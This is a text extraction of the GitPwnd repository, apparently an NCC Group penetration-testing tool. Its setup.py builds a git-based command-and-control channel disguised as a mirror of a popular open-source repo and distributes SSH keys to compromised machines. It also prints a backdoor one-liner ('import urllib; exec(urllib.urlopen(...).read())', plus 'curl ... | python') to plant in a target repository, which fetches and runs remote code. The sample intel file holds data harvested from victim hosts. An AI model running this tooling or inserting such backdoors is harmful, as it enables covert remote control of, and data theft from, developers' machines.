*.aac=38;5;45:*.au=38;5;45:*.flac=38;5;45:*.mid=38;5;45:*.midi=38;5;45:*.mka=38;5;45:*.mp3=38;5;45:*.mpc=38;5;45:*.ogg=38;5;45:*.ra=38;5;45:*.wav=38;5;45:*.axa=38;5;45:*.oga=38;5;45:*.spx=38;5;45:*.xspf=38;5;45:", "USERNAME": "root"}, "whoami": "joedev\n", "time_ran": "2017-07-24 21:52:12.486113", "username": "ec2-user"}

================================================
FILE: server/tests/test_intel_helper.py
================================================
import unittest
from unittest import TestCase
import json
import os

class TestIntelHelper(TestCase):
    def get_sample_intel(self):
        sample_intel_path = os.path.join(os.path.dirname(__file__), "sample_intel.json")
        with open(sample_intel_path, 'r') as f:
            return json.load(f)

    def test_parse_node_dir(self):
        sample_intel = self.get_sample_intel()
        intel_keys = sample_intel.keys()

        for k in ['ps_services', 'mac_address', 'time_ran', 'whoami', 'python_version', 'ifconfig',
                  'service_configs', 'username', 'env']:
            assert k in intel_keys

if __name__ == '__main__':
    unittest.main()


================================================
FILE: setup.py
================================================
import os
import shutil
import subprocess
import github
from github import Github, GithubException
from subprocess import Popen, PIPE, STDOUT
import argparse
import yaml
import sys
import string
import uuid

import ipdb

LOGO = """
############################################
   _____ _ _   _____                     _
  / ____(_) | |  __ \                   | |
 | |  __ _| |_| |__) |_      ___ __   __| |
 | | |_ | | __|  ___/\ \ /\ / / '_ \ / _` |
 | |__| | | |_| |     \ V  V /| | | | (_| |
  \_____|_|\__|_|      \_/\_/ |_| |_|\__,_|

############################################
by Clint Gibler and Noah Beddome of NCC Group
"""

SETUP_DIR = "data"  # where we store various setup files, like the initial clone of c2 repo
REPO_DIR = os.path.abspath(os.path.join(SETUP_DIR, "repos"))
SSH_KEY_DIR = os.path.abspath(os.path.join(SETUP_DIR, "ssh_keys"))

def print_logo():
    print(LOGO)

def print_initial_overview():
    overview = """
############
# Overview #
############
Here's how GitPwnd works... TODO
...
See Black Hat talk slides/whitepaper for details TODO.
"""

    requirements = """
################
# Requirements #
################
TODO: make this thorough and complete

You're going to need the following to run GitPwnd:
* A GitHub account with the ability to create private repos.
  * An API access key for that GitHub account
* A second GitHub account.
    * SSH keys for this account will be distributed to compromised machines,
      so minimize the other repos this GitHub account has access to.
* A network-accessible server, for example hosted on AWS, DigitalOcean, etc.
* A link to a popular open source repo that logically fits into the ecosystem of your target.
* TODO...
"""
    print(overview)
    print(requirements)


def print_intro():
    print_logo()
    print_initial_overview()

def setup(setup_dir):
    print("Running setup...")
    print("[*] Making directory to store intermediate setup files: %s" % os.path.abspath(setup_dir))
    if not os.path.exists(setup_dir):
        os.makedirs(setup_dir)

    print("[*] Making directories to store git repos and generated SSH keys...")
    for d in [REPO_DIR, SSH_KEY_DIR]:
        print("- %s" % d)
        if not os.path.exists(d):
            os.makedirs(d)

    # Make sure git is installed
    git_path = shutil.which("git")
    if git_path is None:
        print("[!] git not installed. Please install git to use GitPwnd")
        exit(1)

def create_c2_repo(setup_dir, config):
    msg = """
#########################################
# Creating command and control git repo #
#########################################
We're going to clone a popular git repo and use it for command and control;
that is, we'll push commands to compromised machines in the git repo, which the
victim machine will pull, run the commands, commit the results, then push,
which our server will then receive and store for your later viewing.

First, choose a popular open source repo in the language that your target uses.
For example, if you're targeting a company that predominantly uses Rails, choose
a popular Ruby gem.

The goal is to choose something that will look innocuous on compromised
machines if a developer or sys admin is reviewing installed libraries.
"""

    print(msg)

    # TODO: break this into sub methods or sub classes

    ############################################################
    # Get the name of benign repo we're going to mirror for c2 #
    ############################################################
    if not "benign_repo" in config:
        benign_repo = input("Enter the git clone URL of a popular repo: ")
        benign_repo = benign_repo.strip()
        config["benign_repo"] = benign_repo

    config["benign_repo_name"] = config["benign_repo"].split("/")[-1].replace(".git", "")
    config["benign_repo_path"] = os.path.abspath(os.path.join(setup_dir, config["benign_repo_name"]))

    try:
        print("[*] Cloning repo to: %s" % config["benign_repo_path"])

        if os.path.exists(config["benign_repo_path"]):
            print("[?] Looks like benign repo has already been cloned, skipping")
            print("  If this is incorrect, please delete: %s" % config["benign_repo_path"])
        else:
            clone_output = subprocess.check_output("git clone %s %s" %
                                                   (config["benign_repo"], config["benign_repo_path"]), shell=True)
    except subprocess.CalledProcessError:
        print("[!] Error cloning")
        print(clone_output)
        exit(1)

    print("""
Now we're going to mirror the history of the benign repo you just provided in
git repo you control, which will be used for command and control.

In order for this script to automatically set up the command and control GitHub
repo for you, you'll need to provide a GitHub personal access token.

Perform the following steps to create a GitHub personal access token:
1. Log into GitHub.
2. Click on your profile icon in the top right and select "Settings."
3. Click on "Personal access tokens" under Developer settings on the left.
4. Give the token a description and the following permissions:
   - The top-level checkbox for "repo"
   - The top-level checkbox for "admin:repo_hook"
   - "gist"
   - "delete_repo"
5. Click the "Generate token" button.

NOTE: this setup script does not save this access token, so make sure to save a
copy somewhere safe if you want to re-run this script later.

""")

    if not "main_github_token" in config:
        config["main_github_token"] = input("Please enter your GitHub personal access token: ")

    g = Github(config["main_github_token"])
    g_user = g.get_user()
    config["main_github_username"] = g_user.login

    if not "github_c2_repo_name" in config:
        config["github_c2_repo_name"] = input("Enter the name of the c2 repo to create on GitHub (%s): " % config["benign_repo_name"])
    # Default to the name of the benign repo
    if config["github_c2_repo_name"] == "":
        config["github_c2_repo_name"] = config["benign_repo_name"]


    should_sync_c2_history = True # are we going to push the benign git history to the newly created c2 git repo?
    
    config["primary_clone_url"] = "https://%s@github.com/%s/%s.git" % (config["main_github_token"],
       config["main_github_username"], config["github_c2_repo_name"])

    print("[*] Creating private GitHub repo: %s/%s" % (config["main_github_username"], config["github_c2_repo_name"]) )
    try:
        config["github_c2_git_url"] = "https://github.com/%s/%s.git" % (config["main_github_username"], config["github_c2_repo_name"])
        benign_description = g.get_repo("/".join(config["benign_repo"].split("/")[-2:]).replace(".git", "")).description
        g_repo = g_user.create_repo(config["github_c2_repo_name"], description=benign_description, private=True)
        # g_repo.git_url - this will be like: git://github.com/username/repo.git
        # Can't use ^, need to use https:// git path so we can use the token

    except GithubException as gexc:
        if gexc.data["errors"][0]["message"] == "name already exists on this account":
            print("[!] There's already a repo with this name.")
            choice = input("[?] Leave this repo alone and continue? (y/n): ")

            if choice.lower() == "y":
                should_sync_c2_history = False
            else:
                choice = input("[?] Delete this repo? (y/n): ")
                if choice.lower() == "y":
                    try:
                        g_repo = g.get_repo("%s/%s" % (config["main_github_username"], config["github_c2_repo_name"]))
                        g_repo.delete()
                        print("[!] Deletion successful! Please re-run the setup script.")
                    except GithubException as gexc:
                        print("[!] %s" % (gexc.data["errors"][0]["message"]))
                        exit(1)
                else:
                    print("[!] Please delete this repo and re-run the setup script")
                    exit(1)
        else:
            print("[!] Creating repo failed.")
            ipdb.set_trace()
            print("  - Can your account create private repos?")
            exit(1)
    except Exception as exc:
        print("[!] Creating repo failed.")
        ipdb.set_trace()
        exit(1)


    if should_sync_c2_history:
        sync_c2_history(config)
    else:
        print("[*] Skipping sending the benign git repo's history to the newly created repo")

    return config

# Sync the history of the newly created private GitHub repo used for command and control
# with the history of the benign repo, to make it seem innocuous on disk.
def sync_c2_history(config):
    print("[*] Syncing the benign git repo's history to the newly created repo")
    orig_dir = os.path.abspath(os.curdir)

    # cd into cloned git repo to do git munging there
    os.chdir(config["benign_repo_path"])

    # Push history and tags
    subprocess.check_output("git push --all --repo " + config["primary_clone_url"], shell=True)
    subprocess.check_output("git push --tags --repo " + config["primary_clone_url"], shell=True)

    # Make this local git repo point to our new c2 repo on GitHub
    subprocess.check_output("git remote remove origin", shell=True)
    subprocess.check_output("git remote add origin " + config["primary_clone_url"], shell=True)
    subprocess.check_output("git pull origin master", shell=True)
    subprocess.check_output("git branch --set-upstream-to=origin/master master", shell=True)

    os.chdir(orig_dir)

def get_secondary_account_access_token(config):
    if not "secondary_github_token" in config:
        tmp = input("[*] Please enter a personal access token for a secondary GitHub account: ")
        config["secondary_github_token"] = tmp.strip()

    return config

def generate_ssh_key_for_c2_repo(config):
    print("""
#########################
# Creating SSH Key Pair #
#########################
This will be added to the secondary GitHub account and distributed
to compromised machines.
""")
    passwd = "" # Don't use a password for the SSH key
    email = "john.doe@example.com"

    # Provide a default value, don't want to overwhelm people with options
    if not "ssh_key_name" in config:
        config["ssh_key_name"] = "gitpwnd"

    config["ssh_key_path"] = os.path.join(SSH_KEY_DIR, config["ssh_key_name"])

    if os.path.exists(config["ssh_key_path"]):
        print("[!] SSH key already exists, continuing without generating a new one")
    else:
        print("[*] Generating new SSH key pair")
        subprocess.check_output("ssh-keygen -P '" + passwd + "' -f " + config["ssh_key_path"] + " -C " + email, shell=True)

    print("- %s" % config["ssh_key_path"])
    print("")

    return config


def add_ssh_key_to_github_account(github_token, ssh_key_path):
    pub_key_contents = open(ssh_key_path + ".pub", 'r').read().strip()
    pub_key_no_comment = " ".join(pub_key_contents.split(" ")[0:2])

    g = Github(github_token)
    g_user = g.get_user()

    # Check if we've already added this key
    if not pub_key_no_comment in [key_obj.key for key_obj in g_user.get_keys()]:
        print("[*] Adding generated key to: %s" % g_user.login)
        g_user.create_key("gitpwnd", pub_key_contents)
    else:
        print("[!] Looks like %s already has this public key, not adding it to account" % g_user.login)

# Add the secondary user to the git c2 repo as a collaborator
def add_collaborator(main_github_token, github_c2_repo_name, secondary_github_token):
    g = Github(main_github_token)
    g_user = g.get_user()
    repo = g_user.get_repo(github_c2_repo_name)

    g2 = Github(secondary_github_token)
    g2_user = g2.get_user()

    repo.add_to_collaborators(g2_user.login)


def create_private_gist(config, main_github_token, filename, content, description):
    g = Github(main_github_token)
    g_user = g.get_user()
    gist = g_user.create_gist(False, {filename: github.InputFileContent(content)}, description)

    # gists have a list of files associated with them, we just want the first one
    # gist.files = {'filename': GistFile(filename), ...}
    gist_file = [x for x in gist.files.values()][0]
    config["gist_raw_contents_url"] = gist_file.raw_url

    # The structure of the url is:
    # https://gist.githubusercontent.com/<username>/<gist guid>/raw/<file guid>/<filename.txt>
    #
    # Since we're only uploading one file and we want to make the URL as concise as possible,
    # it turns out we can actually trim off everything after /raw/ and it'll still give us what
    # we want.
    config["gist_raw_contents_url"] = config["gist_raw_contents_url"].split("/raw/")[0] + "/raw"

    print("[*] Private gist content at:")
    print("- %s" % config["gist_raw_contents_url"])

    return config

# Return the content that will placed in the private gist
def get_bootstrap_content(config):
    bootstrap_file = os.path.abspath(os.path.join(__file__, "..", "gitpwnd", "bootstrap.py.template"))

    params = {"repo_clone_url":      config["secondary_clone_url"],
              "benign_repo":         config["benign_repo"],
              "github_c2_repo_name": config["github_c2_repo_name"]}

    with open(bootstrap_file, 'r') as f:
        templatized_bootstrap_file = string.Template(f.read())

    return templatized_bootstrap_file.safe_substitute(params)

# After all the setup has been done, get the one liner that should be placed in a repo
def get_python_one_liner(gist_url):
    # Note that `exec` is required for multiline statements, eval seems to only do simple expressions
    # https://stackoverflow.com/questions/30671563/eval-not-working-on-multi-line-string
    return "import urllib; exec(urllib.urlopen('%s').read())" % gist_url

def print_backdoor_instructions(config):
    gist_url = config["gist_raw_contents_url"]
    print("""
######################
# Backdoor one-liner #
######################

[*] Insert the following into the target git repo you're backdooring:

# Python
%s

You can also do something like:
  $ curl %s | python

""" % (get_python_one_liner(gist_url), gist_url))

# Replace agent.py.template with customized info, copy to c2 repo,
# git add, commit, and push it so that the bootstrap.py gist can install
# it on compromised machines
def copy_agent_to_c2_repo(config):
    agent_file = os.path.abspath(os.path.join(__file__, "..", "gitpwnd", "agent.py.template"))

    params = {"repo_clone_url": config["secondary_clone_url"],
              "remote_repo_name": "features",             # we add the c2 repo as a remote
              "remote_repo_master_branch": "master"}

    _add_file_to_c2_repo(config, agent_file, params, "agent.py")

def copy_payload_to_c2_repo(config):
    payload_file = os.path.abspath(os.path.join(__file__, "..", "gitpwnd", "payload.py.template"))
    params = {}
    _add_file_to_c2_repo(config, payload_file, params, "payload.py")


def _add_file_to_c2_repo(config, template_file_path, params, dest_path_in_c2_repo):
    with open(template_file_path, 'r') as f:
        templatized_file = string.Template(f.read())

    dest_file = os.path.join(config["benign_repo_path"], dest_path_in_c2_repo)

    with open(dest_file, "w") as f:
        f.write(templatized_file.safe_substitute(params))

    # Add file to the c2 repo
    orig_dir = os.path.abspath(os.curdir)
    # cd into cloned git repo to do git munging there
    os.chdir(config["benign_repo_path"])
    
    if "nothing to commit" not in str(subprocess.check_output("git status", shell=True)):
        # Add agent.py and push
        subprocess.check_output("git add %s" % dest_path_in_c2_repo, shell=True)
        subprocess.check_output("git commit -m 'Add %s'" % dest_path_in_c2_repo, shell=True)
        subprocess.check_output("git push --repo %s" % config["primary_clone_url"], shell=True)

    os.chdir(orig_dir)

def create_c2_webhook(config):
    print("[*] Creating GitHub webhook for C2 repo that will receive pushes from compromised machines ")

    g = Github(config["main_github_token"])
    g_user = g.get_user()
    repo = g_user.get_repo(config["github_c2_repo_name"])

    # this endpoint is defined in server/gitpwnd/controllers.py
    webhook_endpoint = config["attacker_server"] + "/api/repo/receive_branch"

    # We're using a self-signed cert, so we need to turn off TLS verification for now :(
    # See the following for details: https://developer.github.com/v3/repos/hooks/#create-a-hook
    hook_secret = str(uuid.uuid4())
    params = {"url": webhook_endpoint, "content_type": "json", "secret": hook_secret, "insecure_ssl": "1"}

    #  PyGithub's create_hook doc:
    # http://pygithub.readthedocs.io/en/latest/github_objects/Repository.html?highlight=create_hook
    try:
        repo.create_hook("web", params, ["push"], True)
    except:
        print("[!] Web hook already exists")
        hook = repo.get_hooks()[0]
        if "secret" not in hook.config.keys():
            print("[!] Adding a secret to the hook...")
        else:
            hook_secret = input("Enter webhook secret (Github Repo > Settings > Webhooks > Edit > Inspect 'Secret' element): ")
        new_hook_config = hook.config
        new_hook_config["secret"] = hook_secret
        hook.edit(name=hook.name, config=new_hook_config)
    finally:
        return hook_secret


# Automatically generate a new password for the gitpwnd server
# so we don't use a default one
def customize_gitpwnd_server_config(config):
    print("[*] Generating a unique password for the gitpwnd server")
    server_creds_template_file = os.path.abspath(os.path.join(__file__, "..", "server", "server_creds.yml.template"))
    output_file = server_creds_template_file.replace(".template", "")

    with open(server_creds_template_file, 'r') as f:
        templatized_creds_file = string.Template(f.read())

    params = {"basic_auth_password": str(uuid.uuid4()),
              "benign_repo_path": config["benign_repo_path"],
              "hook_secret": config["hook_secret"]}
    with open(output_file, 'w') as f:
        f.write(templatized_creds_file.safe_substitute(params))

def print_accept_c2_invitation_instructions():
    print("""IMPORTANT: Check the email for the secondary user and "accept"
the invitation to the newly created command and control repo.

Without doing this, the bootstrapping process executed on compromised machines
will fail.
""")

# The overall flow of the setup process
def main(setup_dir, repo_dir, ssh_key_dir):
    print_intro()
    print("""
----------------------------------

######################################
# Beginning GitPwnd setup process... #
######################################
""")

    # Usage: python3 setup.py <optional path to config.yml>
    if len(sys.argv) > 1:
        config_path = sys.argv[1]
    else:
        print("[*] Using default config path of ./config.yml")  
        config_path = "./config.yml"

    with open(config_path, 'r') as f:
        config = yaml.load(f)



    setup(setup_dir)
    config = create_c2_repo(repo_dir, config)
    config = get_secondary_account_access_token(config)
    config = generate_ssh_key_for_c2_repo(config)
    add_ssh_key_to_github_account(config["secondary_github_token"], config["ssh_key_path"])

    add_collaborator(config["main_github_token"], config["github_c2_repo_name"], config["secondary_github_token"])

    hook_secret = create_c2_webhook(config)
    config["hook_secret"] = hook_secret

    customize_gitpwnd_server_config(config)


    # the clone URL compromised machines will use
    config["secondary_clone_url"] = "https://%s@github.com/%s/%s.git" % (config["secondary_github_token"],
                                                          config["main_github_username"],
                                                          config["github_c2_repo_name"])


    gist_content = get_bootstrap_content(config)

    config = create_private_gist(config, config["main_github_token"],
               "install.sh", gist_content, "Some description")

    copy_agent_to_c2_repo(config)

    copy_payload_to_c2_repo(config)

    print_backdoor_instructions(config)
    print_accept_c2_invitation_instructions()

if __name__ == "__main__":
    main(SETUP_DIR, REPO_DIR, SSH_KEY_DIR)
Download .txt
gitextract_p06zdemw/

├── .gitignore
├── README.md
├── config.yml.example
├── gitpwnd/
│   ├── agent.py.template
│   ├── bootstrap.py.template
│   └── payload.py.template
├── requirements.txt
├── server/
│   ├── README.md
│   ├── gitpwnd/
│   │   ├── __init__.py
│   │   ├── controllers.py
│   │   ├── static/
│   │   │   ├── css/
│   │   │   │   └── prism.css
│   │   │   └── js/
│   │   │       └── prism.js
│   │   ├── templates/
│   │   │   ├── index.html
│   │   │   ├── layout.html
│   │   │   ├── macros.html
│   │   │   ├── nodes.html
│   │   │   └── setup.html
│   │   └── util/
│   │       ├── __init__.py
│   │       ├── crypto_helper.py
│   │       ├── file_helper.py
│   │       ├── git_helper.py
│   │       └── intel_helper.py
│   ├── requirements.txt
│   ├── run_ipython.sh
│   ├── server.py
│   ├── server_creds.yml.template
│   └── tests/
│       ├── sample_intel.json
│       └── test_intel_helper.py
└── setup.py
Download .txt
SYMBOL INDEX (41 symbols across 7 files)

FILE: server/gitpwnd/controllers.py
  function index (line 31) | def index():
  function setup (line 36) | def setup():
  function nodes (line 41) | def nodes():
  function receive_branch (line 54) | def receive_branch():

FILE: server/gitpwnd/util/crypto_helper.py
  class CryptoHelper (line 6) | class CryptoHelper:
    method verify_signature (line 9) | def verify_signature(payload, secret):

FILE: server/gitpwnd/util/file_helper.py
  class FileHelper (line 3) | class FileHelper:
    method ensure_directory (line 7) | def ensure_directory(dirname):

FILE: server/gitpwnd/util/git_helper.py
  class GitHelper (line 8) | class GitHelper:
    method save_intel (line 12) | def save_intel(repo_name, branch_name, repo_path, intel_root):
    method import_intel_from_branch (line 31) | def import_intel_from_branch(repo_name, branch_name, backdoored_repos_...

FILE: server/gitpwnd/util/intel_helper.py
  class IntelHelper (line 5) | class IntelHelper:
    method parse_node_dir (line 8) | def parse_node_dir(node_dir):
    method parse_repo_dir (line 22) | def parse_repo_dir(repo_dir):
    method parse_all_intel_files (line 43) | def parse_all_intel_files(intel_dir):
    method json_prettyprint_intel (line 54) | def json_prettyprint_intel(intel_dict):
    method annotate_intel_dict (line 67) | def annotate_intel_dict(intel_dict):

FILE: server/tests/test_intel_helper.py
  class TestIntelHelper (line 6) | class TestIntelHelper(TestCase):
    method get_sample_intel (line 7) | def get_sample_intel(self):
    method test_parse_node_dir (line 12) | def test_parse_node_dir(self):

FILE: setup.py
  function print_logo (line 32) | def print_logo():
  function print_initial_overview (line 35) | def print_initial_overview():
  function print_intro (line 65) | def print_intro():
  function setup (line 69) | def setup(setup_dir):
  function create_c2_repo (line 87) | def create_c2_repo(setup_dir, config):
  function sync_c2_history (line 224) | def sync_c2_history(config):
  function get_secondary_account_access_token (line 243) | def get_secondary_account_access_token(config):
  function generate_ssh_key_for_c2_repo (line 250) | def generate_ssh_key_for_c2_repo(config):
  function add_ssh_key_to_github_account (line 279) | def add_ssh_key_to_github_account(github_token, ssh_key_path):
  function add_collaborator (line 294) | def add_collaborator(main_github_token, github_c2_repo_name, secondary_g...
  function create_private_gist (line 305) | def create_private_gist(config, main_github_token, filename, content, de...
  function get_bootstrap_content (line 329) | def get_bootstrap_content(config):
  function get_python_one_liner (line 342) | def get_python_one_liner(gist_url):
  function print_backdoor_instructions (line 347) | def print_backdoor_instructions(config):
  function copy_agent_to_c2_repo (line 367) | def copy_agent_to_c2_repo(config):
  function copy_payload_to_c2_repo (line 376) | def copy_payload_to_c2_repo(config):
  function _add_file_to_c2_repo (line 382) | def _add_file_to_c2_repo(config, template_file_path, params, dest_path_i...
  function create_c2_webhook (line 404) | def create_c2_webhook(config):
  function customize_gitpwnd_server_config (line 439) | def customize_gitpwnd_server_config(config):
  function print_accept_c2_invitation_instructions (line 453) | def print_accept_c2_invitation_instructions():
  function main (line 462) | def main(setup_dir, repo_dir, ssh_key_dir):
Condensed preview — 29 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (89K chars).
[
  {
    "path": ".gitignore",
    "chars": 137,
    "preview": "*.pyc\n.DS_Store\n*~\n\n# These are auto-generated from a template\nbootstrap.py\nhomebrew.python.ncc.plist\nserver_creds.yml\n\n"
  },
  {
    "path": "README.md",
    "chars": 1597,
    "preview": "# GitPwnd\n\nGitPwnd is a tool to aid in network penetration tests. GitPwnd allows an\nattacker to send commands to comprom"
  },
  {
    "path": "config.yml.example",
    "chars": 1857,
    "preview": "# This file, if passed as the first argument to `setup.py`, will be used for\n# the values for setting up gitpwnd.\n\n# Ent"
  },
  {
    "path": "gitpwnd/agent.py.template",
    "chars": 7138,
    "preview": "#!/usr/bin/env python\n\nimport os\nfrom subprocess import Popen, PIPE\nimport imp\nimport uuid\nimport string\n\n##############"
  },
  {
    "path": "gitpwnd/bootstrap.py.template",
    "chars": 8805,
    "preview": "# This will be hosted in a private GitHub gist and piped into eval()\n# on a compromised node.\n#\n# It performs the follow"
  },
  {
    "path": "gitpwnd/payload.py.template",
    "chars": 4516,
    "preview": "import sys\nimport os\nimport json\nfrom subprocess import Popen, PIPE\nimport uuid\nimport datetime\nimport pwd\n\nclass Payloa"
  },
  {
    "path": "requirements.txt",
    "chars": 21,
    "preview": "PyGithub\npyyaml\nipdb\n"
  },
  {
    "path": "server/README.md",
    "chars": 922,
    "preview": "# GitPwnd Server\n\nThe GitPwnd server listens for webhook pushes from GitHub (currently) or other\ngit providers that occu"
  },
  {
    "path": "server/gitpwnd/__init__.py",
    "chars": 1179,
    "preview": "from flask import Flask\nfrom gitpwnd.util.file_helper import FileHelper\nfrom flask_basicauth import BasicAuth\nimport yam"
  },
  {
    "path": "server/gitpwnd/controllers.py",
    "chars": 1869,
    "preview": "from flask import Flask\nfrom flask import render_template\nfrom flask import redirect\nfrom flask import url_for\nfrom flas"
  },
  {
    "path": "server/gitpwnd/static/css/prism.css",
    "chars": 2318,
    "preview": "/* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */\n/**\n * prism.js default t"
  },
  {
    "path": "server/gitpwnd/static/js/prism.js",
    "chars": 10183,
    "preview": "/* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */\nvar _self=\"undefined\"!=ty"
  },
  {
    "path": "server/gitpwnd/templates/index.html",
    "chars": 627,
    "preview": "{% extends \"layout.html\" %}\n{% block body %}\n<h2>Home</h2>\n\n<p>Welcome to GitPwnd! GitPwnd is a network penetration tool"
  },
  {
    "path": "server/gitpwnd/templates/layout.html",
    "chars": 2132,
    "preview": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\n<!-- http://flask.pocoo.org/docs/0.12/tutorial/templates/ -->\n<title>GitPwnd</t"
  },
  {
    "path": "server/gitpwnd/templates/macros.html",
    "chars": 520,
    "preview": "{# Macros for nodes.html #}\n\n{% macro display_intel(intel_name, intel_value, type='string') -%}\n<h5>{{intel_name}}</h5>\n"
  },
  {
    "path": "server/gitpwnd/templates/nodes.html",
    "chars": 777,
    "preview": "{% extends \"layout.html\" %}\n{% block body %}\n\n{% import 'macros.html' as macros %}\n\n<h2>Nodes</h2>\n\nThis page lists all "
  },
  {
    "path": "server/gitpwnd/templates/setup.html",
    "chars": 258,
    "preview": "{% extends \"layout.html\" %}\n{% block body %}\n<h2>Setup</h2>\n\n<p>See <code>gitpwnd/README.md</code> for how to set up Git"
  },
  {
    "path": "server/gitpwnd/util/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "server/gitpwnd/util/crypto_helper.py",
    "chars": 382,
    "preview": "import hmac\nimport hashlib\n\nfrom gitpwnd import app\n\nclass CryptoHelper:\n\n    @staticmethod\n    def verify_signature(pay"
  },
  {
    "path": "server/gitpwnd/util/file_helper.py",
    "chars": 201,
    "preview": "import os\n\nclass FileHelper:\n\n    @staticmethod\n    # Create a directory if it doesn't exist\n    def ensure_directory(di"
  },
  {
    "path": "server/gitpwnd/util/git_helper.py",
    "chars": 1737,
    "preview": "import os\nimport json\nimport git  # gitpython\n\nfrom gitpwnd import app\nfrom gitpwnd.util.file_helper import FileHelper\n\n"
  },
  {
    "path": "server/gitpwnd/util/intel_helper.py",
    "chars": 3379,
    "preview": "import json\nimport os\n\n# Helper class for\nclass IntelHelper:\n\n    @staticmethod\n    def parse_node_dir(node_dir):\n      "
  },
  {
    "path": "server/requirements.txt",
    "chars": 431,
    "preview": "appnope==0.1.0\nbackports.shutil-get-terminal-size==1.0.0\nclick==6.6\ndecorator==4.0.10\nFlask==1.0\nipdb==0.10.1\nipython==5"
  },
  {
    "path": "server/run_ipython.sh",
    "chars": 77,
    "preview": "#!/usr/bin/env python2.7\n\nfrom IPython import start_ipython\nstart_ipython()\n\n"
  },
  {
    "path": "server/server.py",
    "chars": 317,
    "preview": "from gitpwnd import app  # defined in gitpwnd/__init__.py\n\n#################\n# Server config #\n#################\n\napp.se"
  },
  {
    "path": "server/server_creds.yml.template",
    "chars": 140,
    "preview": "basic_auth_username: \"gitpwnd\"\nbasic_auth_password: \"$basic_auth_password\"\nbenign_repo_path: \"$benign_repo_path\"\nhook_se"
  },
  {
    "path": "server/tests/sample_intel.json",
    "chars": 11505,
    "preview": "{\"service_configs\": {\"syslog\": {\"stdout\": \"\", \"stderr\": \"cat: /etc/syslog.conf: No such file or directory\\n\"}, \"chttp\": "
  },
  {
    "path": "server/tests/test_intel_helper.py",
    "chars": 668,
    "preview": "import unittest\nfrom unittest import TestCase\nimport json\nimport os\n\nclass TestIntelHelper(TestCase):\n    def get_sample"
  },
  {
    "path": "setup.py",
    "chars": 20238,
    "preview": "import os\nimport shutil\nimport subprocess\nimport github\nfrom github import Github, GithubException\nfrom subprocess impor"
  }
]

About this extraction

This page contains the full source code of the nccgroup/gitpwnd GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 29 files (82.0 KB), approximately 24.9k tokens, and a symbol index with 41 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!